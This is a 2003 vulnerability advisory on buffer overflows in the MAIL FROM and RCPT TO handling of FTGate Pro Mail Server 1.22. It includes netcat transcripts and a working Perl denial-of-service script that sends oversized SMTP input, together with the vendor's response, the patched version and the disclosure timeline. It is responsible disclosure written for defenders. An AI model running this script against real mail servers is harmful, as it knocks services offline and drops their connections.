FTGatePro.txt

` Multiple Buffer Overflow Vulnerabilities  
Found in FTGate Pro Mail Server v. 1.22 (1328)  
http://www.ftgate.com  
  
Discovered by Dennis Rand  
www.Infowarfare.dk  
------------------------------------------------------------------------  
  
  
-----[SUMMARY  
FTGatePro is Floosietek's flagship server. The comprehensive feature set   
In this server ensures that it will meet whatever demands you place on it.   
This server is powerful enough for the most demanding of tasks.  
  
The problem is a Buffer Overflow in the SMTP protocol, within the   
ESMTP Server FTGate, causing the service to stop responding for a short  
Period, where we can actually overwrite the exception handler on the stack  
allowing   
A system compromise with code execution running as SYSTEM.  
  
  
-----[AFFECTED SYSTEMS  
Vulnerable systems:  
* FTGate Pro Mail Server v. 1.22 (1328)  
  
Immune systems:  
* FTGate Pro Mail Server v. 1.22 (HotFix 1330)  
  
-----[SEVERITY  
Medium/High - An attacker is able to cause a DoS attack on the SMTP  
protocol.  
And we can actually overwrite the exception handler on the  
stack   
Allowing a system compromise with code execution running as  
SYSTEM.  
  
  
-----[DESCRIPTION OF WHAT THE VULNERABILITY IS  
The Vulnerability is a Buffer Overflow in the FTGate Pro Mail Server v. 1.22  
(1328)  
When a malicious attacker sends a large amount into the "MAIL FROM" and the  
"RCPT TO"  
The buffer will overflow. If the code was carefully crafted, attackers could  
execute   
Arbitrary command in system privilege.  
  
The following transcript demonstrates a sample exploitation of the   
Vulnerabilities:  
----------------------------- [Transcript] -----------------------------  
nc warlab.dk 25  
220 win2k-serv ESMTP Server FTGate  
HELO Foobar  
250 win2k-serv  
Mail From : <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending  
with ".com"]  
<Connection closed>  
  
The same Vulnerability is in the RCPT TO  
nc warlab.dk 25  
220 win2k-serv ESMTP Server FTGate  
HELO Foobar  
250 win2k-serv  
Mail From : [email protected]  
250 <[email protected]> Sender Ok  
Rcpt To: <aaaaa....[BUFFER about 2000 Bytes @ and 2000 bytes again ending  
with ".com"]  
<connection closed>  
----------------------------- [Transcript] -----------------------------  
  
----------------------------- [Exploit Code] -----------------------------  
#!/usr/bin/perl -w  
##################  
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack  
#  
# URL: http://www.infowarfare.dk/  
# EMAIL: [email protected]  
# USAGE: sploit.pl <target ip>  
#  
# Summary:  
#  
# The problem is a Buffer Overflow in the SMTP protocol, within the   
# ESMTP Server FTGate, causing the service to stop responding for a short  
# Period, where we can actually overwrite the exception handler on the stack  
allowing   
# A system compromise with code execution running as SYSTEM.  
#   
#  
# Solution:   
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later  
#   
#  
  
use IO::Socket;  
  
$target = shift() || "warlab.dk";  
my $port = 25;  
my $Buffer = "a" x 2400;  
  
  
my $sock = IO::Socket::INET->new (  
PeerAddr => $target,  
PeerPort => $port,  
Proto => 'tcp'  
) || die "could not connect: $!";  
  
my $banner = <$sock>;  
if ($banner !~ /^2.*/)  
{  
print STDERR "Error: invalid server response '$banner'.\n";  
exit(1);  
}  
  
print $sock "HELO $target\r\n";  
$resp = <$sock>;  
  
print $sock "MAIL FROM: $Buffer\@$Buffer.dk\r\n";  
$resp = <$sock>;  
  
print $sock "\r\n";  
print $sock "\r\n\r\n\r\n\r\n\r\n\r\n";  
  
close($sock);  
----------------------------- [Exploit Code] -----------------------------  
  
When this attack is preformed the service will shortly stop and then restart  
after about 5-10 seconds, all current connections when this attack is  
preformed  
will be closed.  
  
  
-----[DETECTION  
FTGate Pro Mail Server v. 1.22 (1328) is vulnerable to the above-described  
attacks.   
Earlier versions may be susceptible as well. To determine if a specific   
implementation is vulnerable, experiment by following the above transcript.   
  
  
-----[WORK AROUNDS  
Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330)   
  
  
-----[VENDOR RESPONSE  
Hi,  
Thank you for brining this to my attention.  
We have fixed the problem with the code and will release a patch shortly.  
Regards  
Richard Bang  
Floosietek Ltd  
[email protected]  
http://www.floosietek.com  
  
Hi,  
  
The patch should be up later today.   
New users will automatically download the patched version.   
Existing users download it through the WebAdmin UI.  
Regards  
Richard Bang  
Floosietek Ltd  
[email protected]  
http://www.floosietek.com  
  
  
-----[DISCLOSURE TIMELINE  
20/04/2003 Found the Vulnerability, and made an analysis.  
23/04/2003 Contacted Vendor at [email protected]   
29/04/2003 Received response from Vendor  
05/05/2003 Contacted vendor for update  
06/05/2003 Received response from vendor   
06/05/2003 Public Disclosure.  
  
  
-----[ADDITIONAL INFORMATION  
The vulnerability was discovered and reported by <[email protected]> Dennis  
Rand  
  
-----[DISCLAIMER  
The information in this bulletin is provided "AS IS" without warranty of any  
kind.   
In no event shall we be liable for any damages whatsoever including direct,  
indirect,   
incidental, consequential, loss of business profits or special damages.   
  
  
  
  
`